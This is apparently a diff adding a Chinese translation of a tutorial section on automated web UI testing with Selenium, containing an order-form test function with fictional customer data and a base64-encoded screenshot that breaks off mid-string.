+上面的调用会自动与用户界面交互，通常用于 *Selenium测试* –即与网站交互的代码段，偶尔检查是否一切正常。 例如，以下代码与上面一样下订单。 然后，它检索`title`元素并检查标题是否包含“谢谢”消息，表示成功。
+
+```py
+def test_successful_order(driver, url):
+    name = "Walter White"
+    email = "white@jpwynne.edu"
+    city = "Albuquerque"
+    zip_code = "87101"
+
+    driver.get(url)
+    driver.find_element_by_name("name").send_keys(name)
+    driver.find_element_by_name("email").send_keys(email)
+    driver.find_element_by_name('city').send_keys(city)
+    driver.find_element_by_name('zip').send_keys(zip_code)
+    driver.find_element_by_name('terms').click()
+    driver.find_element_by_name('submit').click()
+
+    title = driver.find_element_by_id('title')
+    assert title is not None
+    assert title.text.find("Thank you") >= 0
+
+    confirmation = driver.find_element_by_id("confirmation")
+    assert confirmation is not None
+
+    assert confirmation.text.find(name) >= 0
+    assert confirmation.text.find(email) >= 0
+    assert confirmation.text.find(city) >= 0
+    assert confirmation.text.find(zip_code) >= 0
+
+    return True
+
+```
+
+```py
+test_successful_order(gui_driver, httpd_url)
+
+```
+
+```py
+True
+
+```
+
+同样，我们可以为不成功的订单，取消订单，更改订单等设置自动测试用例。 对程序代码进行任何更改后，所有这些测试用例都将自动运行，以确保Web应用程序仍然可以工作。
+
+当然，编写这样的测试是相当大的努力。 因此，在本章的其余部分，我们将再次探讨如何自动生成它们。
+
+## 检索用户界面操作
+
+为了与用户界面自动交互，我们首先需要找出存在哪些元素以及它们支持哪些用户交互（或简短的*操作*）。
+
+### 用户界面元素
+
+我们从查找可用的用户元素开始。 让我们回到订单表。
+
+```py
+gui_driver.get(httpd_url)
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA9AAAAE7CAYAAAA1smmAAAAgAElEQVR4nOzdaVBVWYAn+POl+8vEne6OqXoT0/GiKoKuIKKYCCaaGGasYagxjCFsgqAdKwvDsqTS1sJWCy01W1Er3dNUU00dxQXXUhxxcCOVwWZwS1KKTBcmRRRacAdlkR1kect/PpDneNf37kOEFP6/iBOZvnfffffdjfu/9ywCRERERERERBSWGOsFICIiIiIiIvocMEATERERERERucAATUREREREROQCAzQRERERERGRCwzQRERERERERC4wQBMRERERERG5wABNRERERERE5AIDNBEREREREZELDNBERERERERELjBAExEREREREbkQWYAWgoWFhYWFhYWFhYWFhYVlfBUGaBYWFhYWFhYWFhYWFhYWF4UBmoWFhYWFhYWFhYWFhYXFRWGAZmFhYWFhYWFhYWFhYWFxUUYlQBMRERERERF9bhigiYiIiIiIiFxggCYiIiIiIiJygQGaiIiIiIiIyAUGaCIiIiIiIiIXGKCJiIiIiIiIXGCAJiIiIiIiInKBAZqIiIiIiIjIBQZoIiIiIiIiIhcYoImIiIiIiIhcYIAmIiIiIiIicoEBmoiIiIiIiMgFBmgiIiIiIiIiFxigiYiIiIiIiFxggCYiIiIiIiJygQGaiIiIiIiIyAUGaCIiIiIiIiIXGKCJiIiIiIiIXGCAJiIiIiIiInKBAZqIiIiIiIjIBQZoIiIiIiIiIhcYoImIiIiIiIhcYIAmIiIiIiIicoEBmoiIiIiIiMiF8Rag/X4/fD7fiJRgMPhJl3W0tbW1IScnBwUFBfD5fGO9OI4CgYDjNvkchdonR8Pbt29x48YN7N+/HytXrsSePXtQVFSE2tpatQzv3r3DvHnzUF5ePirLNJ74/X7cvXsXZ8+eRXZ2Nnbt2oXs7GycPXsWFRUVCAQCY72IIc9zfr9/rBcvrFDnhOEUIiIiomEbTwH6zZs3EEKMWKmoqPhkyzrabt++bfhtXq8Xvb29Y71YtpYvX+64TX799dexXryIzZkzx/H3fMrw0t/fj6ysLMP3aZpm+ffs2bORmJgIIQTOnDnzyZZnvHn69Cnmz59vWafmomkalixZgtevX4/ZsoZavkWLFo3Zcrl18uTJET23ExEREQ3beArQfX19KCkpwbZt20JePH355ZfYsGEDli1bhpkzZ6rwMJ4DdFpamuX3nTp1aqwXy9ajR48wb948223y888/j/XiRayiogLJycmjGqDfvXuHuLg4wz7/5s0bAEBvby/Ky8tt93sG6PB8Pp/lxoQQAps2bcLjx4/R3NyMwsJCLFiwwHaasXjie/fuXZw+fRoej+ezDNBNTU24cuUKFi5cGPZGxYYNG5CZmYnp06cjNjaWAZqIiIhG1ngK0Ho5OTm2F04JCQm2079+/RqrVq0atwHa7kJyxYoVY71Yjvr6+my33+daxbiqqmpUA7Q+aCQlJdlWI/b5fFizZg0DdATa29sxdepU1zfbtm/fbpk2NTUV3d3do7zkQzZs2GBZnoULF47JsgzXzJkzbY+ldevW2U5/7949TJ8+nQGaiIiIRsZ4DdAVFRW2F1mLFy8O+bmNGzeOywC9detWy7r4vVeHjomJGTcB2umGwKcI0OZ9/8SJEyGn/+KLLxigXfD5fJgyZYplG548eTLk55YuXWr5zLRp08bkSfS+ffs++wBt9xuEEDh//rzjZ/x+v2HbEREREQ3beA3Q1dXVwwrQPp9PPa0dTwG6ra0NK1asgKZpiIqKwsGDB8d6kcKye2r+OVbhBkY3QJtvloTb1u/evVPtePPy8kZ8ecYLu2rbXq83bKdUTn0zrF+/fnQWXCc7O9uyHJ9DFW69I0eORBygAaC+vp4BmoiIiD4eAzRw9uxZXLt2Tf1bVrscTwFaGhwc/F30CuwGA/TwzJgxw/AdsbGx6OvrC/mZdevW8Ql0CLW1tbbbb8uWLa4+b1ftWwiBly9ffuIlN5pIAToYDOK7777DkydP1GtyOxAREREN20QP0IFAAJqmYeXKleq1R48eQQiBR48ejcqyfk7a2tpQU1OD9+/fR/Q5n8+H58+fo6amBm1tba4+Ey5At7a2oq6ublg3BPr7+1FZWYlXr15F/Fmpo6MDFRUVaG1tDTvtaAZou87BJk2ahJqaGsfP1NXV/S4CdCAQwNu3b1FVVYWGhoZhDTkUCATw5s0bVFVVoampaURuGM2dO9d2+924ccPV53Nzc20/H2n16WAwiIaGBjx79izstIFAALW1tejo6FCvDTdA+3w+1NTU4PXr1x+9z7a3t6O6unrY28VtgJbn8cLCQvVaTk4ONE0LOX+/34/a2lpUV1ePyJBX79+/R3V19bBGPfD5fHj69Clqa2vR39/vOF1jYyMeP34c8XmZiIiIhmGiB2jZXlQfoAGoHos3btyI+Ph4S0lISFAXV+np6bbTxMfHo6qqSs2zpqbGcTqn8v3333/UZwsLCx3fv3LlCoChUJyYmGg7zd69e+Hz+bBnzx5MnjzZsC4nT56MBw8eOG6Drq4ubN26FVFRUZbtIIdP2r59u6Ho52cXoG/cuIHNmzcjPj7eMK+UlBQ8fPgw5D4xMDCATZs2GXqn1n/+1q1b4XYrNDY2IiMjw/KbvF4v0tPT8eLFC9vPhQvQ5eXlIbdlJE8qncKeEALLli1DY2Oj4zLqx4UOtTzr1q1DW1tb2H2wqakJq1atsrze0NCgvtfn8+HSpUu27YuFEIiJicGePXvQ0tLi+Jv9fj/y8vIs21aW1NRUbN261bCv6YNVKAMDA47r083NE+DDDQq740DuA7NmzbJdhykpKQCG9hF9vwBxcXG2Af7JkyeYPn26YXityZMnIz8/P+IAferUKSQkJFiWOSsrC+3t7YZpd+/e7bgfvHr1Cg0NDZg2bZqaj8fjQXZ2tqv1p+c2QMu20vrt3N/f73gDLy8vz3KOE2Ko48mcnBwEg0HD9Ldu3Qp5bh0YGMCKFSssN0wGBgZCnpdLS0vR2NiIxYsXW5Zl1qxZqK+vBzB0M+XEiRPwer2WfV3/1J2IiIhG2EQP0LNmzbIN0NLFixcRHR1tOy/5ROHs2bOGjpj05ZdfflHzKisrs704S0lJsVwEybJt27aP+uzDhw8dg4nsXKqzsxMZGRm20yxdulStI6cAYBdsysvLLePj7tixA0ePHg05bq6+QyanIWhCFXlTwKy2ttYQuqOjo7F//35s2rTJ8PmNGzc6PnUqLi42DAOUlJSEEydO4MsvvzSsj4KCAstnwwXouro6bNu2zTLMUGJiIr777jt0dXXZLpMdp06W9GXt2rUhA2lHR4dtmJDrrrCwEO/fv7esP/16+O6779DT04MzZ84Ygm1aWpr6PYFAAOnp6eq9L774Arm5uThx4oRhewkxdJNC3tjSa25utuwrCxYsQG5uLiZNmuS4DubMmeNqfZrHUJfF4/G43iYdHR2Oy3H37l0AQ0+H7W42eTwelJeXO65nfbC7du1a2HGpzcUuQLe1tRmaAkRFReHUqVNYuXKlYd/UP1UtKSmxhG1ZfvrpJ8fzaKQ1fdwE6L6+PnVeDHejpKuryzBWu6Zp2LRpE/bv3284HqdPn24I33V1dbbDAwohcOTIEUtTCllycnJQVVVluJmgL9nZ2Y7ndCGGzvuDg4PIzMx0nEbTNMcbZURERPSRxAQN0IFAwPA0xilAA85DEOkvHn0+n+2Fqz5AFxcXGy6iBgYGAAw94bK7uPR4POjs7PzozwKwHf/V3Duz+WmJvsTFxdn2JizEUBjTe/nypWVd6KcpKCiwzCMtLQ2zZ8/Gjz/+qKZzCtAbN25EZWUl9u/fb/u+uapyY2OjZXn0PZCvXr3a8J5dtdqSkhLL+pXb3+/3W4La2bNnDZ93W4VbP9zOsWPHLE+93Ojq6rLd3nZlzZo1jkMq+Xw+20C3adMmw3TffvutZRpzOJXrLyEhwfCb1q9fb/ic/sl0S0uLZb6TJk0yzNfv91uCtv47mpqaLPOIj4/H7NmzcejQIVfr88CBA7brLjo62tXngaGnhU7b4PTp02q60tJS22lCheKmpiYAQ7VUzO95vV6cOHECd+7ccQx0dgE6NTXVME1ZWZl6T39DLiUlRZ2LgKHqym72O325ePGi6/UIhA/QXV1dhloYoQJ0IBCwhH79U/GrV68a3ouJicHg4KBhHk43KJ3K0qVL1WfN+66+LFiwwHHe8pwfFRXluF0XLFgQ0XolIiIil8QEC9AxMTFIS0uzBINQAToQCNjOy9ymza6jIH2AvnjxIoSwBs49e/bYzv/YsWMj8lkAtk87zAH6zJkztvPasWOHmsYuTEybNs0wH/1QYLLoq0f39PRY3t++fbtlvdsFaPN0y5cvt0wzc+ZMwzT6J5xCCEydOtXwfmVlZcjt9v79e8v+Yl4O83ox38BwE6B37NihPltdXW1ZH5EoLCx0fUEfFRVlCEihfpcQQ52S6dl1sOXxeAxBWY4/XFxcbPiseb3Onz/f8L7dE2R91eEbN25Y3jcHfPM8zNs/HLv9WYihIB4Jp5sau3fvVtO0t7fbTqNpGoqKiiy1QfQh3m585HPnzqn3fT6fbRV38w2jK1euWL5b317ZXOvAfB5xqka/f/9+7Nq1y/K6rJLsllOATkpKQmpqquVmQ6gAffz4cct89B3uBYNBy/x27dplmIdd7+xCCMydO9f2OMzPz1efXbJkie221ndguWjRIsf1Kc8f586ds7wfFxcX0XolIiIil8QEC9BOJVSAHvoJ1s+YA3RKSoplGn0QO3XqFIQQhnayTU1Ntk+XYmNjDVWJP+azAGyrmJsvfM+ePWuZJiEhwTCNXVXSmJgYwzR2T1XMbfLMy20OZYC7Xrjv3Llju21qa2sBAD/99JPlvaysLMM87Nq4xsXFqQC4ZcsWy/vmi/Jw3xMuQMtgoWkaHj9+bFkXw1FSUhJRdd69e/da5uEU6O7fv6+mefXqle00sv2/3++Hx+OBx+Ox7Jfmqqrmi367dqC3b99W769atcry/vHjxw3zsHtC57btMmAfcoQQmDJliut5AM7Bct26dWqa7u5u22nkvjQwMIAFCxao4+7q1asAgAcPHlg+ExUVZanhsHfvXst05gBtvqlh/p3mDtFmzZpleN/u+Ndv10OHDkHTNHg8HksYdcMpQDsVpwDd1tZmOT7sQqfdU2B9U4I1a9bYfq+s7l1eXq7W6fz58w1/N+xuAH733XeG7z9x4oRlmsTERMM0z549s10GIiIi+gTEBAvQ8+bNQ01NDfLz8w0X76MRoF+/fo3S0lLDZ+TFsLmYOwf6mM8Cww/QycnJhmnsOkPyer2GafQdHckiA61k9zTOXDXSTYBubm62XQeXLl0CAKxdu9by3v79+y3rx67N4evXrwHYPwU1d5724sULyzRRUVHq/VAB+vvvv1f/Li8vtyzbx2hubrY8gQ9V7IZumzdvnmU6fTXUb775xnZe8snqtWvXIMRQ1Xszc/Vv87BQds0G9FV+ly1bZnnfHKD17Vtl0YfwcJx+n7k6eThObYBlPweAc4C+fv26YV7mGxF27d7NwRYI3wt3W1ub5X1zjQ5zEwx9R2iAfYDesGGDYR6BQGDYvXk7BeijR4/iwYMHlqfcTgHa3CxDiKGmJGZ2/UPox0u3C9DmG4+AdZsB9gHa3LGaPH70xVyLwufz2a4TIiIi+gTEBAvQ+k7Euru71ZOB0QjQZrIHcHMxV4keic+OVIB++vSpZRp9UARg27GO+Qm0+X1zlV/A/TjQdutBVjt3U3UdsA/9JSUljtX3zTcEnIK83EecArSsti3LvHnzbLffxyovL0dSUpLtMuiL3RM4u1oHmqapXrudOjxKSkoC8KEKvd3QSz6fD8XFxVi1ahWuXLmibqLU19c7dqqlD9B27eDNAdpu349kjPcffvjB9vdF0gYacK7CnZubq6ZxCtDhhn6zu5GwZs0ay3ThAvTdu3dtvz8mJkYVu1oN+m1rF6CdOvcbDjediOmbZTgFaLun8XYdy9mtW32tAbsAvWLFCle/xU2Avn79umUac4D2+/2264SIiIg+ATGBAzTwITSOdoAOBoOOPdaGG4JkOJ8dzQBtN+ZtUVGRer+xsdHyvl3HXW4DtF3V2MzMTADW6qhCGJ8eSXYX/fv27cPLly9t17N5/Gin4CODmlOAtivmDsgiEQwG8eDBA8sQQ1JZWVnYIG0X1uxuMJw/f151brdt2zbbdf369WsI8SFMh9Le3o4DBw7YjmOtL/oAbdf+etWqVYb52j35deo4zY7ddwgRWS/cgP05RAhhqFnitB85bU/J3OmXEALffPONZbpwATovL8/2+xMSEhxLYmIi3r59q+Zhdyy5HTLMDbfDWC1cuDDkd9vV4LHreMsuIE+fPj3k++ZmIk4YoImIiD5DYoIH6N7eXggx+gHaLqwK4e7JxXA+O5oB2u/3Izk52TCN/sm43UW8uYoq4D5A24UH2ZGU3dNRuyfQdjcktm3b5higzU9T5X5kLrJzrkgCtKZptk9r3ejv74cQAl9//XXI6UpKSmwDrxD21ZvttllKSoqqbfDmzRtLj9py/xHC2HGS2bt377BhwwbDk82EhARcvnzZtvq5udfmrVu3Gt7Xd+Bm1zY43LoxcwonQrgP4na9gcvS39+vphtugLbbf7du3WqZLlyAtjsHmJtohPN7CdAyeDp99/z58y3zsHsCvW7dOst0+gDLAE1ERDTBiAkeoIGhJ5ijGaB7enpsq3Nqmha2quZwPzuaARoYuqDbuXOnZV7m9oRer9exB2i3AdpuvGL5FNeuA6BTp065+q6CggLbDsaEEHj69Knh862trbbTybGWnQJ0XV2d7facNGmSpU24GzJA220Ts+7ubtvfbVfd1un3CfGh3ahdWJX7pr5nY72ff/7Z8vunTZumfrt+OCJZ7IY9unr1qmE+sbGxyMzMtMx73bp1hsDqln54MX1x2nfN9MPQ6Yu5nfJwA7T5hpUQAuvXr7dMFy5AOw2jFUmna7+XAC07wHP6brvOAefOnWuZ7quvvrJMt2zZMvU+AzQREdEEIxig8fLlS0Ovqnbs5jXcAO00LM6BAwcM023YsMEwxM3HfHa0AzQwdFGXmZlpCFJRUVGYNm0a1qxZg9zc3JAX5m4DtN109+7dA2DffvHIkSOWedg9jZXjSdtVXzYPM1VfX2+ZRtM09X6oTsRu3bpl+16kT0qBDwFaCHftfO2GgXJ6+u3UGVlJSUnI9agPG3rv3r2zbU/b09OjpnEboAEgPz/fsO49Hg+SkpKwbNkyHDp06KOGBnv+/Lntb7frudyOU0dk5s7ohhug7fZz2YxBL1yAttuPhRCG8dnD+b0EaAB4/PixYTg5vUuXLlnmYdfxmqwKri9Hjx5V7zNAExERTTCCAdoVu3l1dXUZpnEToJ0uxKOjow29tMqhgdLT00fks6MdoO/evavaJns8HhVGI+EmQA8ODobcNnZtOjdv3myYh91Yrx6PRz0FtWsraQ4Udk9fZ8yYod4PN4yV3XBMQtj3qB6KPkBPmzbN0jGbmTkwaZrm+Jkff/zRsnxer9fQm7JdNW5zSJTs2sqbe7Z2E6DfvHljGAN5JDus0rMbcz0mJibsOvb7/bY3FjIyMizTDjdA2wVju2G27Hrr1gdop07zzOcBqa2tDVu3bjXUfvk9BehQ7HrOnzx5smU6u3NnZWWlep8BmoiIaIIR4zRAO/VSbXfR6obdBbA+GHR0dNh2VqTvPAuwH5NWCKHGc5Xkk1v9hdjHfNauCqo5QNuFTTcB2txG8vHjx4b3h9uztF2AvnbtmmEau16D9+zZo973+/2WC3r9jQUAqqMrfdH3jGz3VM7c07PdutP31P3+/XvbbSdvfPT399v+Xo/Ho6qBu6EP0EII5OTkhJzePJTP999/7zhtMBi0HAfbt283TPPrr78a3o+Pj3ecn11tCk3T1I2Ljo4O23WiD9Dv37831BDwer1hA+1w+Xw+23BYXFwc8nPnz5+3fCY+Pt5SgwVwHne7sbEx5Hc0NDTYfk6/D/r9ftvmDuahm+yqLJuPCQB4+/at2j76QGnXqd+FCxdCLn8k7G4CCCFw+vTpiOe1YsUKy/FmZt7nzeezrKwsy7IsWbLE1ffbDdPGAE1ERPQ7J8ZpgD548KDtBUVsbCwCgUDE87MbDik1NRXl5eU4fvy44xivc+bMUR0NOVXV1YfUQCBguKiTYfBjPhsIBGzb2eqHYgGAlStXWqYxP122u5jTV1UGgCVLllimSUhIwIwZM5Ceno65c+di/vz5+Oqrr3Dq1Ck8ePDAdpvYhSfz02Nz9cqYmBjLeKv37t2zzOfdu3fq/dOnT1uW1RzCzE8fzeO8msdKXrt2reF9pxs6+urS+qF3zPuZ21BoDtBCDN0osft8X1+fIezEx8fbjlWrpx+zWghh6H1Z0gcOu+ryTvPS79Nr1qxxPKbWrFmD48ePw+fz4cKFC5b3o6OjkZaWhvT0dMyZMwcZGRnIzMzE/v37UV5ejvfv37tal3ZevnxpqdLv8XjUmOFmtbW1ltoNsbGxjk1GfvnlF9vfHGo4PMnuhsT06dPR0tKC9+/f247nLY/furo6NZ+enh7HockmT56MLVu2GG7IHT58WH3Wbv8TQmDnzp0RrmlnTjcSnZoKhNLV1WU5N+qbJJhr/WiahqamJsM87GoepaSkuPp+u3Pc8uXLDdNcvHjRMo35pqXd+N1CWJsZERER0QgQ4yhA9/X1obi42NIrr7lMmzYN+fn5KC0tdR2m7YJjJOXFixe2F0tCDD3R2LhxI7788kvLxZzsvXi4n3379q1j9WCv14v8/Hz09/fj8OHDjuPUfvPNN2hvb8edO3dsO+USQmDp0qXqaZdTW9lQJSUlxRBqzb9Zv2xFRUV4+fIldu/ebZhHbGysY1Vx8xPimTNnora2FuXl5YZ5JyYmoqGhwfJ5n89nedK0detWNDQ0WOadmZlp6DTr/v37justIyMDDx8+RCAQwI0bNxy3werVqx074tJzCjBTp07F2bNn8ejRI9TU1KCgoMAQBCdPnowXL16Enb++N2l9FXU9fTXuUFWP79+/H3a/cFpvQghUVVXh2LFjEe9rUVFRjtXK3Whvb7fU6PB4PMjLy1PhvLe3FydPnrRsz/T0dMdQc/PmTcchxuLi4pCfnx+yr4bu7m7H4e3clO+++07Nq7S01LZ9urnohwyrqanBokWLbKfTNA2HDh3C48ePh7XOGxsbcfnyZdues/Xlq6++wpUrVyLavhUVFYabPrGxsSgvL8eTJ08M28Pj8Rg6jWttbbWcg/Rl48aNhiHKzL9n+/bttp/zeDzqaXphYaFtrQchhm4mtrW1obKy0vGcO2/evI/a14mIiMiGGEcB2mnIoVDl1q1brud/5MgR24vK5ORk1NbWqicRmqZh6tSpWLRoEbZs2YITJ06gs7NzWBe1paWlCAaDw/7smTNnwk5n1xbQXG7fvh02GG/ZsgXAUI/Iw1neqKgow5NSGaBPnDiBQCBg285TlvXr12NgYCDk9qutrcWkSZMc5/H111+HfQJbXFzsGHI1TbMdrincRf/06dMdq3jri9NTTj0ZoOPi4nD48GHH3qP1y3z48OGIamXIJ4D6J3V6shq33ZBAZk7tWadNm4bKykq0tLRY1nd0dDQePnwIYKgjsuHsa0JYe1KP1K1bt2yrRNuV5ORklJeXh5yfXdVncwlVxR4ABgYGbGuAaJqGDRs2GKqTR0dHY+bMmVi9ejWys7MtQauxsdHxaW9UVJSleYpdVWZzSU1NHda6dnMeM5dw5wO9rq4uzJkzx3Fe06ZNszSlKCwsdLUcw/09gP0wfPry008/GTpqtCszZ84c1jonIiIiB2IcBejR0NbWhsLCQuTl5aGkpMTwNKmsrAx37941dKo0Efn9/mE9hRZCqGAEAOfOncOTJ08M8+7r68PPP/+Mc+fOqSeq4UKvWXNzM65du4Y9e/bg5MmT+PXXXyO62A4Gg3j+/DkKCgqwc+dOnD9/HrW1tcNqGjDSAoEADh48aGiT2tfXh9u3byMvLw/Z2dnIzc1FeXk5mpubh/UdVVVV2LdvX8jfm52d7brjuMbGRuTn5yM7OxtXr15FfX294f3W1lbk5+dj//79lmNOftdw9rWDBw9G/uNtNDc34+zZs9iyZQuWLl2KL7/8EkuXLsU333yDCxcuRDQE1EhpbW1FcXExzp49azgnvXv3DhcvXoyoXX1TUxOKi4uRnZ2NoqKisO2xP2c9PT0oLy9HTk4ODhw4gLKyMsdevImIiGiCYoCmkdbU1GRobxkXF4fExERDSUhIsG3jqh8ehiicgYEBbNu2zfBk1G5fsxuKbPbs2WO9+ERERET0uWGAppGWmJioQsrcuXNDTltTU2MINeZqoUSh6DvOiomJUR322enq6jK0q9e33yUiIiIicoUBmkaSuU2qecxeO/q2n+O5eiiNPH0gdjN0kL6d7qVLl0ZhCYmIiIhoXGGAppHk8/kMPdomJSU5tgHt7u42DGWkH7+ZyI2pU6eq/cfr9Rrafuv5/X4UFBSoTgCnT5/+u2izTkRERESfGQZoGmlFRUWWnpNTUlKQmZmJr776CrNnz8aUKVNUmPF4PDh06NBYLzZ9hp48eWK4YSOEwKRJk7BgwQKsXLkS8+bNQ3JysqE345UrV6Krq2usF52IiIiIPkcM0PQp9Pf349SpU1i4cCESExPh8XigaRo0TUN0dDQSEhKQmZmJ06dPo6enZ6wXlz5jPp8PV65cwfLly1VYlvtaVFQU4uLikJ6ejgMHDrgaCoyIiIiIyBEDNBEREREREZELDNBERERERERELjBAExEREREREbnAAE1ERERERETkAgM0ERERERERkQsM0EREREREREQuMEATERERERERucAATUREREREROQCAzQRERERERGRCwzQRERERPkW9TsAACAASURBVERERC4wQBMRERERERG5wABNRERERERE5AIDNBEREREREZELDNBERERERERELjBAExEREREREbnAAE1ERERERETkAgM0ERERERERkQsM0EREREREREQuMEATERERERERucAATUREREREROQCAzQRERERERGRCwzQRERERERERC4wQBMRERERERG5wABNRERERERE5AIDNBEREREREZELDNBERESfl2AwCJ/Ph/7+fvT19eH9+/csLCwTvFTWB4dVHr4O4L80Ag1tAXT3B8f69Eb0+zfeAvTAwIBtCQQChukGBwct04y0t2/f4smTJ2Gn8/l8tss8ODgY8nONjY3Izc3Fzz//PFKLTABqa2uRn58/1otBnwGnY7CiogJnzpz5JOcVGp7xtE38fj86Ozvx9u1bNDQ0oL6+Hq9fv8arV69YWFgmcPmL7EF8sd+Hv8ge/FD2Dxr/bVNmHBzE/JOD2FbkR/HDoRAdDDJIEzkaTwG6ra0NHo8HQghDmTp1Kh48eGCYduXKlYZpPR4PHj16NGLL0tvbC03TIITAw4cPQ067bt062+WWJTExEd988w3a2toAAKWlpYiPj1fv5+TkjNhyT2Q7duxAdHQ0hBCIi4sb68Wh37FQx2AgEFDH/pkzZ8ZwKUkaT9skGAyip6cHL1++xPPnz9Hd3c0LXSICACzI9RnLaR8Wml+zKf8x14e//Ucf0o8O4u9O+/DLswD8gfDfRzRhjacADQw9gf7666/Vha2mafD5fLbT7tu3D0IILFmyBH6/f0SXo6KiQi2Dm6eZL168UNMnJyejvr4eZWVlOHjwoLrw0zQNtbW18Pl8ePPmjQp7DNAjo7e3F99++y2EEJg0adJYL86IGxgYQFdX11gvxrgQ7hhMTk6Gpmm4f//+J12Od+/efdL5jyejtU0+tUAggObmZtTV1Y31ohDR78z8U37MP+lTJeOkDxn/+Nu/T/1W/nHov+p1/fT/6MNfHfZh21U/+gZ5Y47I0XgL0MDQ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